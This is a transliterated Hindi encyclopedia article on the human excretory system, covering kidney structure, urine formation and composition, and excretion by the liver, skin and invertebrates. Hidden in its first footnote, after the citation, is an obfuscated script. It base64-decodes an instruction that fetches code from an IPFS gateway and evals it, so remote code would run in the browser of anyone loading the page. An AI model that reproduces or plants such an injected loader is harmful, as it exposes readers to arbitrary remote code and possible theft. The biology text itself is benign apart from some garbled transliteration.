उत्सर्जी तन्त्र
(aangrezi: Excretory System) is lekh mean manav sharir se sanbandhit ullekh hai. kasheruki jantuoan mean utsarji tantr evan janan tantroan mean vishesh roop se nar mean, paraspar bahut sambandh hota hai. isalie in donoan tantroan ko sammilit roop se mootrojanan tantr kahate haian. manushy mean in donoan tantroan ke pramukh aangoan mean to koee sambandh nahian hota hai, kintu inaki vahiniyoan mean mahattvapoorn sambandh hota hai. manushy ke pramukh utsarji aang ek jo di vrikk ya gurde hote haian. inase sambandhit any utsarji aang mootravahiniyaan, mootrashay tatha mootr marg haian. ye sabhi utsarji aang milakar utsarji tantr ka nirman karate haian. is prakar utsarjani tantr sharir ki us aantarik vyavastha (sistam aauph areanjameant) ko kaheange, jisake dvara sharir ki koshikaoan ke upapachay (met aaubolijm) se utpann mal ya varjy padarth (vestej) sharir se bahar nikalate rahate haian. yahaan par dhyan dene ki bat hai ki sharir ke bhitar kuchh aur bhi tantr hote haian, jo isi se milate julate kary karate haian. inake nam haian :-
- sravan (secretion) tatha,
- malotsarjan (defecation).
sravan
sharir mean kuchh aisi granthiyaan hoti haian, jinase kuchh rasayanik tatv sravit hote rahate haian. udaharanarth, nalikavihin granthiyoan (endocrine glands) se harmonoan ka sravan ya jibh ki laragranthiyoan (salivary glands) se lar ya thook (seliva) ka sravan isi koti ke haian. sach poochhie to sravit padarth ya srav koshikaoan ya granthiyoan ke mal nahian hote. mal ya varjy padarth ham use kahate haian, jisaki sharir mean koee upayogita nahian hoti. vastut: varjy padartho ka sharir se bahar nikalana aparihary hai, anyatha unake vishakt prabhav se sharir mean rog, athava kuchh sthitiyoan mean, prani ki mrityu tak ho sakati hai. isake viparit, sravit padartho ki sharir mean avashyakata hoti hai aur unase sharir ki katipay avashyakataoan ki poorti hoti rahati hai. jaise, lar khane ko pachata hai aur harmon sharir ki aantarik kriyaean tatha tajjany sharirik svasthy banae rahate haian.
malotsarjan
malotsarjan sharir ke bhitar anapache bhojan aur any padartho ka vishtha (phisis) ke roop mean malanali dvara guda (anus) se bahar nikalane ki kriya ko kaha jata hai. anapacha bhojan sharir ki kisi bhi koshika athava ootak (tishoo) ke kam nahian ata at: sharir mean isaka adhik samay tak ruke rahana hanikarak hota hai.
vrikk
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vrikk (Kidney)manushy ka ek utsarji tantr hai. inhean gurde bhi kaha jata hai. manushy mean ek jo di vrikk hote haian, jo udar guha ke prishthabhag mean dayaphram mean niche v kasheruk dand ke idhar–udhar (daean–baean) sthit hote haian. dahini or yakrit ki upasthiti ke karan dahina vrikk baean vrikk se kuchh age sthit hota hai. donoan vrikk ek patali peritoniyam jhilli dvara udaraguha ki prishth divar se lage hue hote haian aur vasiy ootak ke andar bhi dhanse hote haian.
sanrachana
vrikkoan ki akriti sem ke danoan ki bhaanti tatha akar lagabhag 4¢¢-6¢¢ hota hai. munashy tatha adhikaansh kasherukiy jantuoan mean ek jo da vrikk pae jate haian. ye udaragahvar mean pith ki or, amashay ke niche ek daean tatha ek baean bhag mean sthit hote haian. pratyek vrikk mean lagabhag 10 lakh sookshm vrikkak (nephrons) pae jate haian. pratyek vrikk mean do bhag hote haian : pratham bhag ko utsarjani nal kahate haian. yah lanba aur patala hota hai. doosara bhag keshika guchchh kahalata hai kyoanki yah keshikaoan (capillaries) ke gole jaisa hota hai. utsarjani nal ek chhor par band rahata hai aur boman sanput (Bowman's capsule) ke roop mean phaila hota hai. koshika guchd ki koshikaean boman sanput dvara dhanki rahati haian. boman sanput ne nikalane vala nal bahut lanba tatha aiantha hua hota hai aur isaki dival ki motaee lagabhag ek koshika (cell) ki motaee jitani hoti hai. utsarjani nalean apas mean guanthakar sangrahi naloan mean ju di rahati hai. ye nalean kramash: b di naloan mean jutati jati hai aur aant mean ek keandriy vrikkaguha (central cavity of the kidney) mean sama jati haian. is guha ko vrikkavasti (kidney pelvis) kaha jata hai. vastiguha mootravahini nalika (ureter) se aur mootravahini nalika mootrashay (urinary bladder) se ju di rahati haian. vrikkoan se chalane vala mootr inhian nalikaoan se gujarakar mootrashay mean jama hota rahata hai.
kary
vrikkoan ka mukhy kary mootravisarjan karana hai. 'mootr' (urine) kya hai, pahale hamean yah jan lena chahie:- mootr (urine) ke nirman ki prakriya jatil hoti hai. is prakriya ke aantargat tin prakar ke kary hote haian : nisyandan, punarshoshan tatha sanvardhan.
utsarjan
utsarjan (excretion) sravan tatha malavisarjan ke viparit utsarjan sharir ke bhitar se koshikaoan ke upapachay dvara utpann varjy padartho ke nissaran ki vah prakriya hai, jisase jivoan ke sharir ke aantarik parivesh ka bhautik rasayanik (phijiko kemikal) santulan bana rahata hai. yah vah mal hota hai, jisaki sharir mean khapat nahian ho pati, jaise pasina, mootr, aankh ka kich d, shvas adi.
utsarjak aang
utsarjak aang (excretory organs) srishti ke samast sajiv praniyoan ko moolabhoot ikaee koshika hoti hai. isi ka samuchchay ootak tatha ootakoan se nirmit aangoan ka putala jiv hota hai. koshikaean apane ap mean sanpoorn hoti haian at: unase nirmit sharir mean ve sabhi kriyaean hoti haian, jo unaki ikaee mean hoti hai. ekakoshikiy jantu protozoa se lekar bahukoshikiy manushy mean utsarjan kriya avashy paee jati hai. yah doosari bat hai ki protozoa se lekar arthopoda tatha loar kadet se lekar maimal tak ke akasherukiy evan kasherukiy jantuoan ki utsarjan prakriya aur utsarjak aangoan mean paryapt bhinnata hoti hai.
akasheruki utsarjak aang
akasheruki utsarjak aang (invertebrate excretory organs) amiba, peremishiyam adi ekakoshikiy (unicellular) jivoan ke sharir ke bhitar kuanvanashil riktikaean (contractile vacuoles) paee jati haian. inake bhitar asapas ke jivadravy (protoplasm) se chooshit jal ikattha hota rahata hai. yah jal jab matra se adhik ho jata hai to samay samay par apane ap hi bahar nikal jaya karata hai. yah atirikt jal yadi koshika se bahar n nikale to koshika phoolate phoolate phat ja sakati hai. koshika phatane se jiv ki mrityu ho jaegi. pratozoa ke utsarjit jal mean mukhy padarth amoniya hota hai.
kianchit jatil, aur bahukoshikiy (mulitcellular) jantuoan ka adim roop (primitive form) haidra mana jata hai. in jantuoan ke utsarjak aang kuchh bhinn dhang se kary karate haian. inake sharir ki bahm tvacha mean anek chhidr hote haian, jinase hokar varjy padarth bahar nikalate rahate haian.
utsarjak aangoan ki jatilata ka darshan hamean chipit krimiyoan (ftatworms) mean hota hai. inake sharir mean nalikaoan ya granthiyukt saraniyoan (glandular canals) ki ek vyavastha (sistam) paee jati hai. ye saraniyaan sharir bhar mean shakha prashakhaoan ke roop mean phaili aur bahm tvacha se ju di rahati haian. inhian saraniyoan se hokar mal sharir ke bahar nikalata rahata hai. in nalikaoan ke mukh par, bhitar ki or, romakoan (cilia) ki ek kalangi (uft) paee jati hai, jinake laharane se ek prakar ka pravah ya lahar si uthati hai, isi pravah ke karan mal sharir se bahar nikal jata hai. romakiy sarani ke mukh ke pas kuchh koshikaean paee jati hai, jinhean jvala koshika (flame cells) kahate haian. inaka yah nam karan is karan hua hai ki romakoan ki lahar momabatti ke prakash ki bhaanti uthati baithati rahati hai. chipit krimiyoan ke sharir se nikalanevale varjy padartho mean karban dai-aksaid aur amoniya pramukh haian. utsarjan ki is prakriya ko adivrikkak tantr (protonephridal system) kaha gaya hai.
keanchuoan jaise bahukhandi (me americ) shariravale jantuoan ke sharir mean visheshakrit aangoan ka ek ek jo da sharir ke pratyek khand mean paya jata hai. in aangoan ko vrikkak (nephridia) kahate hai. vrikkak ki sanrachana lanbi valit (coiled) nalikaoan dvara huee hoti hai. isaka ek chhor sharir aur doosara tvacha mean ju da rahata hai. pratyek nalika koshikaoan (capillaries) ke kuandal mean bandhi hoti hai, jisake karan jantu ke rakt se nikala varjy padarth bahar nikalata hai. vrikkak ke bhitari chhor ki akriti kip jaisi hoti hai aur isamean romak pae jate haian, jinake karan ek lahar si uthakar varjy padartho ko bhitar khianch leti hai. isi prakar ke vrikkak sipoan, ghoanghoan, shankhoan adi (molluscs) tatha r aautipheriy jantuoan mean pae jate haian. nimn kasherukiy (lower chordate) varg ke jantu aifi-aksam mean bhi vrikkakoan ki vyavastha paee jati hai.
kitoan (insects) ke sharir mean mailpigi nalikaean (malpighiantubules) paee jati haian, jo shariraguha (body cavity) mean sthit hoti haian. ye nalikaean pachak kshetr ya marg se ju di rahati haian. sharir ke rasoan se mal grahan karake pashchaantr (hind gut) mean us jankshan sthan par jama hota rahata hai, jahaan par aantean amashay se mili hoti haian. yah jama hua mal amashay se hota hua gudamarg se bahar nikal jata hai1
kasherukiy utsarjak aang
kasherukiy utsarjak aang (vertebrate excreory organs)kasherukiy jantuoan mean kee aang malotsarjan ka kary karate haian. jaise, manushyoan mean gurda ya vrikk (kidani) mukhy utsarjak aang haian, jinase mootravisarjan hota hai aur inake atirikt tvacha se pasina, yakrit se pitt, pheanphadoan se karban dai-aksaid adi ka nikalana bhi utsarjan kriya ke hi aantargat ate haian. is prasang mean mootriy sarjak aang, vrikk, ki samany sanrachana ka jnan apekshit hoga.
nisyandan
nisyandan (filtation) us sthan par hota hai jahaan keshikaguchchh (glomerulus) tatha boman sanput (Bowman's capsule) rakt ka nisyandan hota rahata hai. is prakriya mean plajm़aprotinoan aur rakt koshikaoan ke sath sath rakt mean mile jal, lavan, sharkara, yooriya adi sabhi padarth nisyandit hokar boman sanput mean ekatr ho jate haian. yah nisyandan kianchith gadha hota hai, isamean ekatrit taral ko sanputi nisyand (capsular filrate) kahate haian. keshikaguchchhoan se hokar gujaranevale rakt ka lagabhag 20 pratishat sanputi nisyand mean tatha shesh 80 pratishat rudhiravahikaoan (blood vessels) se hota hua bahar chala jata hai.
nisyand valkut (cortex) mean sthit boman sanputoan se hota hua ek lanbe pash mean pravesh karata hai. yah pash valkut se nikalakar madhyaka (medulla) mean jata tatha pun: valkut mean laut ata hai. nisyandapash se lautakar ek doorasth kuandalit nalika (distal convoluted tube) mean chala jata hai. vahaan se vapas lautakar yah sangrahak nalika se hota hua vastipradesh (pelvis) mean chala jata hai. mootr jab vrikk ke vastipradesh (pelvis) ne nikalakar mootravahini, mootrashay aur mootramarg se hokar gujarata rahata hai to usamean koee paravarti parivartan nahian hota. isaki saandrata mean vastavik parivartan tab hota hai jab boman sanputoan se nikalakar lanbi kuandalit naloan se gujaranevale mootrapadarth sangrahak nalika mean jama hote haian.
punarshoshan
punarshoshan (Reabsorption) vrikkanaloan ki divalean chipati athava ghanakar epithiliyami koshikaoan (epithelial cells) ko ekahari part dvara bani hoti haian. in divaloan se hokar jab nisyand gujarata hai to ye unamean mile jal ki bahut b di matra ke sath lagabhag sanpoorn glookos emino amloan tatha sharir ke lie anivary doosare padartho ko ya to vapas laua deti hai ya unhean choosakar pun: raktapravah mean sakriy kar deti hai. isaka mukhy karan yah hai ki keshikaguchchh se nikalanevali raktavahiniyaan kisi shira se sidhe-sidhe nahian ju di rahatian. ye raktavahiniyaan nikatasth tatha doorasth kuandalit naloan ki dhankanevale ek doosare keshikajal se ju di hoti haian. is prakar ham dekhate haian ki vrikk mean rakt ka marg any aangoan ke marg se bhinn hota hai.
rakt mean punarshoshan ka kary prakriti bahut savadhanipoorvak karati hai. kisi padarth ka punarshoshan avashyak hai ya anavashyak, prakriti isaka svayan nirnay karati hai. jaise, madhumeh ke rogi ke rakt mean sharkara ki adhikata hoti haian; aise vyakti mean sharkara ka punarshoshan nahian hoga aur sanpoorn sharkara mootr mean milakar sharir ke bahar nikal jaegi. anuman hai ki manushy ke vrikk ek litar mootr utpann karane ke lie 120 litar nisyand taiyar karate haian. shesh 119 litar jal ka punarshoshan ho jata hai. kiantu yah matra sharir ki tatkalik avashyakata par nirbhar karati hai aur isamean nyoonadhikata bhi ho sakati hai.
sanvardhan
sanvardhan (Augmentation) vrikkanal ki koshikaean nisyand se keval padartho ka varjan tatha unhean pun: rakt mean preshit hi nahian karatian, apitu raktapravah se atirikt varjy padartho (waste materials) ko lekar unhean nisyand mean utsarjit bhi karati haian. isase nisyand mean vriddhi ho jati hai. isi prakriya ko sanvardhan kaha jata hai. yah nimn kasherukiy jantuoan mean, jinake vrikkoan mean keshikaguchchhoan (glomeruli) tatha boman sanputoan ka abhav paya jata hai, adhikatar dekha jata hai.
mootr mean pae janevale padarth-samany manushy ek din rat mean kul milakar lagabhag dedh kilogram (1500 mi.li.) mootr visarjit karata hai. is matra mean lagabhag 96 pratishat jal, .15 pratishat lavan tatha 2.5 pratishat karbanik varjy padarth, jaise yooriya pae jate haian. lavanoan ke aantargat sodiyam kloraid, potaishiyam, kailshiyam, maignishiyam, emoniyam salphet, emoniyam phasphet tatha emoniyam karbonet ate haian.
mootr mean pae janevale thos padartho mean krietinin aur yooriya mukhy hai. mootr ka pilapan yoorokrim namak ek varnak ya ranjak (pigment) ke karan hota hai. vaijnanikoan ka mat hai vrikk jin padartho ka utsarjan karate hai, unaka utpadan ve svayan nahian karate, apitu rakt se grahan karate haian. kiantu adhunik shodhoan se pata chalata hai ki vasvavik utsarjan kriya valit nalean (convoluted tubules) karati haian. ye nalean rakt se prapt padartho ka is prakar roopaantar kar deti haian. ki ek sarvatha bhinn padarth ban jata hai. hvait, haiandalar smith tatha steten priansipuls av bayokemistri, mekgra hil, 1959 ne samany vayask manushy ke 24 ghante ke mootr mean pae janevalean padartho ki matra ki ek talika di hai, jise niche uddhrit kiya ja raha hai.
padarth ka nam matra moo. plajma anupat
yooriya 6.0 se 18.0 g.N 60-0
krietinin 0.3 se 08 g.N 70-0
emoniya 0.4 se 1.0 g.N --
yoorik aml 0.08 se 0.2 g.N 20-0
sodiyam 2.0 se 4.0 ji (100-200 m.EQ )0.8-1.5
potaishiyam 1.5 se 2.0 (35-50 m.EQ ) 10-15
kailshiyam 0.1 se 0.3 (2.5-7.5m.EQ ) --
maignishiyam 0.1 se 0.2 (8-16 m.EQ ) --
kloraid 4 se 8 (100-250 m.EQ ) 0.8-2.0
baikarbonet -- (0-50 m.EQ ) 0-2
phasphet 0.7-1.6 (2-50 m.EQ) 25
akarbanik salphet 0.6 -1.8 (40-120 m.EQ) 50
karbanik salphet 0.06-0.2 ---
any utsarjak aang
oopar kaha ja chuka hai ki utsarjan ka kary keval vrikk hi nahian karate apitu yah kary any aangoan dvara bhi sanpann hota hai. inamean yakrit aur tvacha mukhy haian.
yakrit
yakrit (livar)-kasherukiy praniyoan mean yakrit ka bhi bahut mahatv hota hai kyoanki isaka sanbandh pachan kriya se hai. yah aang sharir ki sabase b di granthi hai aur paanch paliyoan (lobes) mean vibhakt hoti hai. in paliyoan ke nam haian : (1) puchchhil pali (caudate lobe), (2) dakshin keandriy pali (right central lobe), (3) spaijeliyan pali (spigelian lobe), (4) vam keandriy pali (left central lobe) tatha (5) vam parshvavali (left lateral lobe). dakshin keandriy pali ke adhar bhag (ventral side) ke oopar aandakar akritivala pittashay (gall bladder) paya jata hai. pittashay ki nalika, jise pittashayavahini (cystic duct) kahate hai, anek yakritik nalikaoan ya vahiniyoan, dvara ju di rahati hai, jisase yrikat ki samast paliyoan se pitt ekatr hota rahata hai.
yakrit bhi yooriya ka utsarjan karata hai. bailivardin (biliverdin) aur vailirubin (bilirubin) namak pitt varnak (bilepigment) rakt ki lal kanikaoan (haemoglobin) se tootate-phootate rahate haian. pitt inhean aantoan mean pahuanchata rahata hai aur aante inhean mal ke sath utsarjit karati rahati haian. pitt ka svad k dava aur kshariy (alkaline) hota haian. rakt ki tooti phooti lal kanikaoan ki sugandh ke karan pitt ka rang gahara hara hota hai. pitt mean lavan, jal, varnak aur katipay varjy padarth pae jate haian. sodiyam baikarbonet, sodiyam glaikokolet tatha sodiyam taurokolet mukhy pittiy lavan haian. sodiyam baikarbonet amashay ras ki amlata ko nishpravahit karake kaim (chyme) ko kshariy karata hai. klaidakokolet tatha taukokolet lavan ootakoan ki vasa (fat) ko chhoti chhoti gulikaoan (globules) mean badalate rahate haian. ye gulikaean jal ke sath milakar lugadi jaisi ban jati haian aur aant mean bhojan ke sath pach jati hai. yakrit aur pitt ka sanyukt kary bhojan ko pachana hota hai, tathapi utsarjan kriya mean bhi isaki bhoomika atyant mahatvapoorn hai, jise anadekha nahian kiya ja sakata.
tvacha
tvacha sharir ki koshikaoan ke upapachay (metabolism) ke phalasvaroop tap ki anavarat utpatti hoti rahati hai. at: sharirik tap mean santulan bane rahane ke lie yah avashyak hai ki n to vah adhik ho jae, n kam rahe. kuchh atirikt tap to shvas kriya dvara nikal jata hai aur kuchh mal-mootr-visarjan dvara ghat jata hai. phir bhi sanpoorn atirikt tap ka lagabhag 90 pratishat bacha hi rah jata hai, jo tvacha marg se nikalata hai. bahari vatavaran mean jab tap ki kami ho jati hai to tvacha ke tantrikachhor (nerve endings) uttejit hokar keshikaoan (capillaries) mean sankochan utpann kar dete haian. isake phalasvaroop rakt ka pravah tvacha ki or mand ho jata hai aur sharir ke kam tap utsarjit hota hai. kiantu, yadi bahari vatavaran mean garmi ki adhikata ho to ulti prakriya hone lagati hai. asadharan garmi ki sthiti mean keshikaoan ke sthan par sved granthiyaan sakriy ho jati haian aur tvacha se pasina nikalane lagata hai.[1]
pasina mean jal ke atirikt lavan aur karban daiaksaid ke kuchh aansh tatha naitrojani varjy padarth pae jate haian. jab sadharan pasina nikalata hai to in padartho ki nikasi samanyataya kam ho hoti hai, kiantu jab pasina ki matra adhik hoti hai to ek din mean lagabhag 3 gailan tak jal nikal ja sakata hai. sved granthiyoan ki sankhya tatha sthiti jantu ke sharir ki avashyakata par nirbhar karati hai. udaharan ke lie manushy ki tvacha mean lagabhag 25 lakh sved granthiyaan sanpoorn sharir mean phaili hoti haian. roeandar aur ghane baloan vale jantuoan ke sharir ki tvacha mean inaki sankhya kam aur sthan simit hote haian; jaise kharagosh ki sved granthiyaan keval hothoan ke charoan aur tatha billi aur choohoan ki unake panjoan ke talavoan mean paee jati haian.[2]
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sanbandhit lekh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 87-90 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.-best, si.ech. tatha telar en.bi. : d liviang b aaudi; geyar, em. eph. ainimal b aauyaloji.
varnamala kramanusar lekh khoj
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